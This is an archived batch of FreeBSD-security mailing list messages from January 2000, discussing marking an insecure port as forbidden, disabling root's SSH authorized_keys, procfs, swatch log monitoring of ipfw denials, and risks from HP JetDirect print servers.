bulk X-Loop: FreeBSD.org -----BEGIN PGP SIGNED MESSAGE----- In message <877lgufvc3.wl@fr.aslm.rim.or.jp> Masafumi NAKANE writes: : I don't personally think it is too good idea to mark any ports : broken/forbidden because of the security problem since they still are : good in dialup home environment, which I assume there are many users : of. I think it is a really bad idea not to mark ports that have known holes that can be used to penetrate your machine as FORBIDDEN. We are trying to produce a good, secure system here. If we do not mark them as FORBIDDEN, they will wind up on the cdrom and people will install them. Then they will yell in bugtraq that we don't care about security and we get more bad PR. If someone really wants this port, they should be forced to hack the Makefile to remove the FORBIDDEN line. Warner FreeBSD Security Officer -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBOJFhg9xynu/2qPVhAQHRxgP/dxRF7jzk8XKmxGFIdA44GaGRQyy1mJLc NLBkNEV0zev8BMc8rTNH6m+GP7XJK2mK5ZWq9uxzjjw1gqX4ec/PLzZ8826pyzHk I/ILmpDzT0Wiq42QH0x4luQ/JyM6B//3jF/SGF8FWZesXxeG7VEY7jR+FzsA7YNi pnoIAy1lKuI= =4zpu -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 3: 3:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from adm.sci-nnov.ru (adm.sci-nnov.ru [195.122.226.2]) by hub.freebsd.org (Postfix) with ESMTP id 3B3C014D31; Fri, 28 Jan 2000 03:03:24 -0800 (PST) (envelope-from 3APA3A@SECURITY.NNOV.RU) Received: from anonymous.sandy.ru (anonymous.sandy.ru [195.122.226.40]) by adm.sci-nnov.ru (8.9.3/Dmiter-4.1) with ESMTP id NAA41305; Fri, 28 Jan 2000 13:52:53 +0300 (MSK) Date: Fri, 28 Jan 2000 13:52:56 +0300 From: 3APA3A <3APA3A@SECURITY.NNOV.RU> X-Mailer: The Bat! (v1.36) S/N D33CD428 Reply-To: 3APA3A <3APA3A@SECURITY.NNOV.RU> Organization: Sandy Info X-Priority: 3 (Normal) Message-ID: <18578.000128@sandy.ru> To: Warner Losh Cc: Kris Kennaway , Masafumi NAKANE , serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re[2]: delegate buffer overflow (ports) In-reply-To: <200001280936.CAA60674@harmony.village.org> References: <200001280936.CAA60674@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Warner Losh, Another one quite good solution may be to maintain the page on FreeBSD.ORG with current security status for every port (known bugs, potential bugs, known exploits, known accidents, both confirmed and unconfirmed and risk level for local and remote security, latest releases and patches). Of cause it makes a lot of additional work for FreeBSD team, but IMHO if some port is included in FreeBSD distribution, FreeBSD team should have some response for this port, and this fact should eliminate including of unchecked software. Users should be recommended to check the status of the port before installing. Ports with high security risk shouldn't be included at all. 28.01.2000 12:36, you wrote: delegate buffer overflow (ports); W> THIS PORT CONTAINS KNOWN SECURITY HOLES WHICH ALLOW A REMOTE ATTACKER W> TO EASILY TAKE CONTROL OF YOUR MACHINE. YOU INSTALL THIS PORT AT YOUR W> OWN RISK!! DON'T COME CRYING TO US IF YOU GET ROOTED BECAUSE OF W> INSTALLING THIS PORT. DO NOT INSTALL THIS MACHINE THAT YOU CARE W> ABOUT. YOU ARE STRONGLY ENCOURAGED NOT TO INSTALL THIS PORT. BAD W> THINGS WILL HAPPEN TO YOU AND YOUR CHILDREN UNTO THE SEVENTH W> GENERATION IF YOU INSTALL THIS PORT. PLAGUES OF LOCUS WILL DESEND W> FROM THE SKY. YOUR LIVE MOPPING UP FROM THE HACKER PENETRAIONS WILL W> BE A NIGHTMARE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 3:14:43 2000 Delivered-To: freebsd-security@freebsd.org Received: from phoenix.welearn.com.au (phoenix.welearn.com.au [139.130.44.81]) by hub.freebsd.org (Postfix) with ESMTP id 8030E14F4C; Fri, 28 Jan 2000 03:14:33 -0800 (PST) (envelope-from jon@phoenix.welearn.com.au) Received: (from jon@localhost) by phoenix.welearn.com.au (8.9.3/8.9.3) id WAA51903; Fri, 28 Jan 2000 22:08:24 +1100 (EST) (envelope-from jon) Date: Fri, 28 Jan 2000 22:08:22 +1100 From: Jonathan Michaels To: Warner Losh Cc: Kris Kennaway , Masafumi NAKANE , serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: delegate buffer overflow (ports) Message-ID: <20000128220819.A51839@phoenix.welearn.com.au> Mail-Followup-To: Warner Losh , Kris Kennaway , Masafumi NAKANE , serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG References: <200001280936.CAA60674@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <200001280936.CAA60674@harmony.village.org>; from Warner Losh on Fri, Jan 28, 2000 at 02:36:54AM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org all, On Fri, Jan 28, 2000 at 02:36:54AM -0700, Warner Losh wrote: > In message Kris Kennaway writes: > : ************************************** > : ** WARNING!!! WARNING!!! WARNING!!! ** > : ************************************** > : > : THIS PORT CONTAINS KNOWN SECURITY HOLES WHICH ALLOW A REMOTE ATTACKER TO > : EASILY TAKE CONTROL OF YOUR MACHINE. YOU INSTALL THIS PORT AT YOUR OWN > : RISK!! DON'T COME CRYING TO US IF YOU GET ROOTED BECAUSE OF INSTALLING > : THIS PORT. > : > : Do you want hackers to be able to take remote control of your > : machine? (y/N): generally ok, but ... i have no probelms with hackers, hell i used to be an os9 hacker and started learing the ropes of qnx hacking. on the other hand i do have serious problems with criminals using my computer to create problems for other people. maybe the word to be used should be "crackers" or just call them what they are "computer criminals" but, please not "hackers". hacking is a long and proud tradition that has given us many computer hardware and software inovations of teh past 35 to seventy or so years .. right back to the early twenties when german scientists gave teh world the first functionally usable devices that we now call digit computers. sorry, i'll get back under my rock .. regards jonathan -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 4:44:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 526D014EA1 for ; Fri, 28 Jan 2000 04:44:50 -0800 (PST) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id NAA61993; Fri, 28 Jan 2000 13:44:46 +0100 (CET) (envelope-from des@flood.ping.uio.no) To: Todd Backman Cc: security@FreeBSD.ORG Subject: Re: root authorized_keys ignore? References: From: Dag-Erling Smorgrav Date: 28 Jan 2000 13:44:45 +0100 In-Reply-To: Todd Backman's message of "Wed, 26 Jan 2000 11:18:53 -0800 (PST)" Message-ID: Lines: 12 User-Agent: Gnus/5.0802 (Gnus v5.8.2) Emacs/20.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Todd Backman writes: > Is there any way to get sshd to ignore root's authorized_keys? (disallow > the practice of putting the private key on another sever to allow for > passwordless entry) # cd /root/.ssh # rm -f authorized_keys # ln -s /dev/null authorized_keys DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 7:43:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from rock.ghis.net (rock.ghis.net [209.222.164.7]) by hub.freebsd.org (Postfix) with ESMTP id F243715779 for ; Fri, 28 Jan 2000 07:43:18 -0800 (PST) (envelope-from will@blackdawn.com) Received: from shadow.blackdawn.com (postfix@18-074.008.popsite.net [209.69.196.74]) by rock.ghis.net (8.9.3/8.9.3) with ESMTP id HAA45701; Fri, 28 Jan 2000 07:42:55 -0800 (PST) Received: by shadow.blackdawn.com (Postfix, from userid 1000) id DBB9E1AF1; Fri, 28 Jan 2000 10:42:51 -0500 (EST) Date: Fri, 28 Jan 2000 10:42:51 -0500 From: Will Andrews To: Dag-Erling Smorgrav Cc: Todd Backman , security@FreeBSD.ORG Subject: Re: root authorized_keys ignore? Message-ID: <20000128104251.E1417@shadow.blackdawn.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from des@flood.ping.uio.no on Fri, Jan 28, 2000 at 01:44:45PM +0100 X-Operating-System: FreeBSD 3.4-STABLE i386 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 28, 2000 at 01:44:45PM +0100, Dag-Erling Smorgrav wrote: > # cd /root/.ssh > # rm -f authorized_keys > # ln -s /dev/null authorized_keys And for extra security (well, only if you have securelevel set high enough...), # chflags schg authorized_keys -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 8:35:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from roma.coe.ufrj.br (roma.coe.ufrj.br [146.164.53.65]) by hub.freebsd.org (Postfix) with ESMTP id 49F5915CBD for ; Fri, 28 Jan 2000 08:35:32 -0800 (PST) (envelope-from jonny@jonny.eng.br) Received: (from jonny@localhost) by roma.coe.ufrj.br (8.9.3/8.9.3) id OAA33181; Fri, 28 Jan 2000 14:32:38 -0200 (EDT) (envelope-from jonny) From: Joao Carlos Mendes Luis Date: Fri, 28 Jan 2000 14:32:38 -0200 To: Poul-Henning Kamp Cc: Peter Wemm , Mike Tancsa , freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability Message-ID: <20000128143238.B31737@roma.coe.ufrj.br> References: <20000124103441.D88561C03@overcee.netplex.com.au> <21984.948712872@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0i In-Reply-To: <21984.948712872@critter.freebsd.dk>; from phk@critter.freebsd.dk on Mon, Jan 24, 2000 at 12:21:12PM +0100 X-Quote: What are you looking for in my mail headers ? X-Operating-System: FreeBSD X-URL: http://www.jonny.eng.br Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Somebody told me that Poul-Henning Kamp said: > In message <20000124103441.D88561C03@overcee.netplex.com.au>, Peter Wemm writes > : > >Mike Tancsa wrote: > >> > >> > >> What are the implications on unmounting procfs ? > > > >Under -current, practically nothing. Under 3.x, ps(1) won't work right. > >I'm not sure about gdb(1), it seems to use ptrace(2) these days. > > I belive killall needs a minor fix to use ps(1)... What about substituting killall by skill (in ports) ? Jonny -- João Carlos Mendes Luís jonny@jonny.eng.br Networking Engineer jcml@ieee.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 10:31:10 2000 Delivered-To: freebsd-security@freebsd.org Received: from foobar.franken.de (foobar.franken.de [194.94.249.81]) by hub.freebsd.org (Postfix) with ESMTP id E89EA15B61 for ; Fri, 28 Jan 2000 10:30:58 -0800 (PST) (envelope-from logix@foobar.franken.de) Received: (from logix@localhost) by foobar.franken.de (8.8.8/8.8.5) id TAA00536; Fri, 28 Jan 2000 19:30:32 +0100 (CET) Message-ID: <20000128193032.A457@foobar.franken.de> Date: Fri, 28 Jan 2000 19:30:32 +0100 From: Harold Gutch To: Dag-Erling Smorgrav , Todd Backman Cc: security@FreeBSD.ORG Subject: Re: root authorized_keys ignore? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from Dag-Erling Smorgrav on Fri, Jan 28, 2000 at 01:44:45PM +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 28, 2000 at 01:44:45PM +0100, Dag-Erling Smorgrav wrote: > Todd Backman writes: > > Is there any way to get sshd to ignore root's authorized_keys? (disallow > > the practice of putting the private key on another sever to allow for > > passwordless entry) > > # cd /root/.ssh > # rm -f authorized_keys > # ln -s /dev/null authorized_keys Whoever has the rights to _create_ /root/.ssh/authorized_keys will have the rights to remove that symlink and create the file again. Unless of course you "chflags sunlnk" it and have a default-securelevel of 1 or higher. bye, Harold -- Someone should do a study to find out how many human life spans have been lost waiting for NT to reboot. Ken Deboy on Dec 24 1999 in comp.unix.bsd.freebsd.misc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 12:15:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from inago.swcp.com (inago.swcp.com [198.59.115.17]) by hub.freebsd.org (Postfix) with ESMTP id 6028415D6A for ; Fri, 28 Jan 2000 12:14:59 -0800 (PST) (envelope-from synk@swcp.com) Received: (from synk@localhost) by inago.swcp.com (8.8.7/8.8.7) id NAA20303; Fri, 28 Jan 2000 13:14:57 -0700 (MST) Date: Fri, 28 Jan 2000 13:14:57 -0700 From: Brendan Conoboy To: Jeffery Soule Cc: freebsd-security@FreeBSD.ORG Subject: Re: Firewalls Message-ID: <20000128131457.A20242@inago.swcp.com> References: <20000127.18320500@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <20000127.18320500@localhost.localdomain>; from Jeffery Soule on Thu, Jan 27, 2000 at 06:32:05PM +0000 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, Jan 27, 2000 at 06:32:05PM +0000, Jeffery Soule wrote: > Greetings, > I am looking for a starting point to learn about setting up a firewall > on FreeBSD 3.3. Any pointers would be GREATLY appreciated! The non-freebsd-specific ipfilter howto is at: http://www.obfuscation.org/ipf/ -Brendan (synk@swcp.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 13: 3: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 814E014DC0 for ; Fri, 28 Jan 2000 13:02:54 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id NAA05977; Fri, 28 Jan 2000 13:00:45 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda05975; Fri Jan 28 13:00:40 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id NAA01894; Fri, 28 Jan 2000 13:00:35 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdLL1892; Fri Jan 28 13:00:12 2000 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id NAA38136; Fri, 28 Jan 2000 13:00:06 -0800 (PST) Message-Id: <200001282100.NAA38136@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdp38088; Fri Jan 28 12:59:08 2000 X-Mailer: exmh version 2.1.1 10/15/1999 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.4-RELEASE X-Sender: cy To: Gene Harris Cc: Brett Glass , The Mad Scientist , freebsd-security@FreeBSD.ORG Subject: Re: Riddle me this In-reply-to: Your message of "Thu, 27 Jan 2000 10:19:15 CST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jan 2000 12:59:08 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message , Gene Harris writes: > I prefer a slightly different approach. My syslog.conf file > contains the two lines: > > !ipfw > *.* /var/log/ipfw I use swatch3 (swatch3 and 2 Perl module ports are ready but I haven't submitted the PR's yet to have them included in ports). I use the following .swatchrc to display some messages in red, others in blue, and the rest black (or white). ignore = /ipfw:.* Deny .* blahblah.*/ ignore = /ipfw:.* Deny .* 10\.blahblah.*/ watchfor = /refused connect from/ echo=red,inverse bell watchfor = /ALERT:/ echo=red,inverse bell watchfor = /Deny TCP blahblah blah blah in via xl0/ echo=blue watchfor = /Deny TCP blahblah blahblah:113 in via xl0/ echo=blue watchfor = /Deny TCP blahblah blahblah:80 in via xl0/ echo=blue watchfor = /ipfw:.* Deny .* in via / echo=red bell watchfor = /ipfw:.* Deny .* out via / echo ignore = /.*/ Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Province of BC "COBOL IS A WASTE OF CARDS." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 14:16: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 4441315AC3 for ; Fri, 28 Jan 2000 14:16:06 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id PAA25052; Fri, 28 Jan 2000 15:15:57 -0700 (MST) Message-Id: <4.2.2.20000128150919.046e33e0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 28 Jan 2000 15:15:54 -0700 To: James Wyatt From: Brett Glass Subject: Re: Riddle me this Cc: Matthew Dillon , security@FreeBSD.ORG In-Reply-To: References: <4.2.2.20000127171529.00c56a00@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:40 PM 1/27/2000 , James Wyatt wrote: > > And it gets worse. The default address of the print server hardware -- which > > the client software tries to reach when it's setting up -- is (are you ready?) > > 192.0.0.192. > >It can get even worse... My biggest employer thought the feature was quite >cool given 12,000+ NT workstations and a *lot* of laser printers scattered >over at least 28 states. This feature can be fantastic, but it also walked >right out to The Internet and began discovering a *lot* of printers all >over the planet! We got calls from some DOD sites, we found we could >control printers in Southeast Asia, we ran *very* low on disk, ... - Jy@ Yep. In this case, it was just causing ICMP storms because a Cisco router several hops upstream was blocking the address. Unfortunately, because so much HP hardware is deployed out there, the address is both useless (one doesn't dare assign anything to it) and dangerous to pass (for the reasons you mention above). And it gets worse. JetDirect print servers and adapters are extremely easy to hack. I won't go into the details here, but suffice to say that if people from the outside can reach the print server, they can easily "own" your network. It might be a good idea to add that default address to the recommended sets of rules for IPFW and IPFilters. I saw a good ruleset for IPFW go by on this list only a few days ago; perhaps we can throw in one which catches 192.0.0.192 as well. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 15:21:53 2000 Delivered-To: freebsd-security@freebsd.org Received: from clavin.efn.org (clavin.efn.org [206.163.176.10]) by hub.freebsd.org (Postfix) with ESMTP id 167981518E for ; Fri, 28 Jan 2000 15:21:52 -0800 (PST) (envelope-from c_deless@efn.org) Received: from garcia.efn.org (c_deless@garcia.efn.org [206.163.176.5]) by clavin.efn.org (8.9.3/8.9.3) with ESMTP id PAA08373 for ; Fri, 28 Jan 2000 15:21:51 -0800 (PST) Received: from localhost (c_deless@localhost) by garcia.efn.org (8.8.8/8.8.8) with ESMTP id PAA09171 for ; Fri, 28 Jan 2000 15:21:50 -0800 (PST) X-Authentication-Warning: garcia.efn.org: c_deless owned process doing -bs Date: Fri, 28 Jan 2000 15:21:49 -0800 (PST) From: CDEL To: security@freebsd.org Subject: RE: Riddle me this Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Would it be of any use to have the limiter show where the packets are coming from? I had this happen a few days ago for a 15 second period one day and a 2.5 minute period the next and I'm not doing anything with Jet Directs. --Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 15:31:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id DC11415031 for ; Fri, 28 Jan 2000 15:31:45 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id RAA30703; Fri, 28 Jan 2000 17:34:33 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Fri, 28 Jan 2000 17:34:33 -0600 (CST) From: Gene Harris To: Cy Schubert - ITSD Open Systems Group Cc: Brett Glass , The Mad Scientist , freebsd-security@FreeBSD.ORG Subject: Re: Riddle me this In-Reply-To: <200001282100.NAA38136@cwsys.cwsent.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ahh, I like what you've done. However, the purpose of placing stuff into a separate ipfw file is so I can move it around without dragging all the kernel messages around as well. However, I will check out swatch, and where is the PR you haven't submitted for swatch(3)? Surely, you need an inexperienced newbie like me to test it? *grin* *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* On Fri, 28 Jan 2000, Cy Schubert - ITSD Open Systems Group wrote: > In message ware.co > m>, Gene Harris writes: > > I prefer a slightly different approach. My syslog.conf file > > contains the two lines: > > > > !ipfw > > *.* /var/log/ipfw > > I use swatch3 (swatch3 and 2 Perl module ports are ready but I haven't > submitted the PR's yet to have them included in ports). > > I use the following .swatchrc to display some messages in red, others > in blue, and the rest black (or white). > > ignore = /ipfw:.* Deny .* blahblah.*/ > ignore = /ipfw:.* Deny .* 10\.blahblah.*/ > watchfor = /refused connect from/ > echo=red,inverse > bell > watchfor = /ALERT:/ > echo=red,inverse > bell > watchfor = /Deny TCP blahblah blah blah in via xl0/ > echo=blue > watchfor = /Deny TCP blahblah blahblah:113 in via xl0/ > echo=blue > watchfor = /Deny TCP blahblah blahblah:80 in via xl0/ > echo=blue > watchfor = /ipfw:.* Deny .* in via / > echo=red > bell > watchfor = /ipfw:.* Deny .* out via / > echo > ignore = /.*/ > > > > Regards, Phone: (250)387-8437 > Cy Schubert Fax: (250)387-5766 > Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca > ITSD > Province of BC > "COBOL IS A WASTE OF CARDS." > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 16:13:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 026EC15C41 for ; Fri, 28 Jan 2000 16:13:33 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id QAA06450; Fri, 28 Jan 2000 16:11:50 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda06448; Fri Jan 28 16:11:48 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id QAA03041; Fri, 28 Jan 2000 16:11:48 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdRL3037; Fri Jan 28 16:11:08 2000 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id QAA38858; Fri, 28 Jan 2000 16:11:08 -0800 (PST) Message-Id: <200001290011.QAA38858@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdJ38852; Fri Jan 28 16:10:52 2000 X-Mailer: exmh version 2.1.1 10/15/1999 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.4-RELEASE X-Sender: cy To: Gene Harris Cc: Cy Schubert - ITSD Open Systems Group , Brett Glass , The Mad Scientist , freebsd-security@FreeBSD.ORG Subject: Re: Riddle me this In-reply-to: Your message of "Fri, 28 Jan 2000 17:34:33 CST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jan 2000 16:10:51 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The PR hasn't been submitted yet. I'll have some time Saturday afternoon (PST) to get around to it. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Province of BC "COBOL IS A WASTE OF CARDS." In message , Gene Harris writes: > Ahh, I like what you've done. However, the purpose of > placing stuff into a separate ipfw file is so I can move it > around without dragging all the kernel messages around as > well. > > However, I will check out swatch, and where is the PR you > haven't submitted for swatch(3)? Surely, you need an > inexperienced newbie like me to test it? *grin* > > *==============================================* > *Gene Harris http://www.tetronsoftware.com* > *FreeBSD Novice * > *All ORBS.org SMTP connections are denied! * > *==============================================* > > On Fri, 28 Jan 2000, Cy Schubert - ITSD Open Systems Group wrote: > > > In message > ware.co > > m>, Gene Harris writes: > > > I prefer a slightly different approach. My syslog.conf file > > > contains the two lines: > > > > > > !ipfw > > > *.* /var/log/ipfw > > > > I use swatch3 (swatch3 and 2 Perl module ports are ready but I haven't > > submitted the PR's yet to have them included in ports). > > > > I use the following .swatchrc to display some messages in red, others > > in blue, and the rest black (or white). > > > > ignore = /ipfw:.* Deny .* blahblah.*/ > > ignore = /ipfw:.* Deny .* 10\.blahblah.*/ > > watchfor = /refused connect from/ > > echo=red,inverse > > bell > > watchfor = /ALERT:/ > > echo=red,inverse > > bell > > watchfor = /Deny TCP blahblah blah blah in via xl0/ > > echo=blue > > watchfor = /Deny TCP blahblah blahblah:113 in via xl0/ > > echo=blue > > watchfor = /Deny TCP blahblah blahblah:80 in via xl0/ > > echo=blue > > watchfor = /ipfw:.* Deny .* in via / > > echo=red > > bell > > watchfor = /ipfw:.* Deny .* out via / > > echo > > ignore = /.*/ > > > > > > > > Regards, Phone: (250)387-8437 > > Cy Schubert Fax: (250)387-5766 > > Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca > > ITSD > > Province of BC > > "COBOL IS A WASTE OF CARDS." > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 28 17:24:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id CB7CC155CC; Fri, 28 Jan 2000 17:24:43 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id SAA13361; Fri, 28 Jan 2000 18:24:41 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id SAA65757; Fri, 28 Jan 2000 18:24:55 -0700 (MST) Message-Id: <200001290124.SAA65757@harmony.village.org> To: 3APA3A <3APA3A@SECURITY.NNOV.RU> Subject: Re: Re[2]: delegate buffer overflow (ports) Cc: Kris Kennaway , Masafumi NAKANE , serg@dor.zaural.ru, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG In-reply-to: Your message of "Fri, 28 Jan 2000 13:52:56 +0300." <18578.000128@sandy.ru> References: <18578.000128@sandy.ru> <200001280936.CAA60674@harmony.village.org> Date: Fri, 28 Jan 2000 18:24:55 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <18578.000128@sandy.ru> 3APA3A writes: : Another one quite good solution may be to maintain the page on : FreeBSD.ORG with current security status for every port (known bugs, : potential bugs, known exploits, known accidents, both confirmed and : unconfirmed and risk level for local and remote security, latest : releases and patches). Of cause it makes a lot of additional work for : FreeBSD team, but IMHO if some port is included in FreeBSD : distribution, FreeBSD team should have some response for this port, : and this fact should eliminate including of unchecked software. Users : should be recommended to check the status of the port before : installing. Ports with high security risk shouldn't be included at : all. Kris and I have talked about doing something like this, and he'll likely start on something like this after 4.0-R is golden. I'm not sure exactly what form it will take, but Kris will 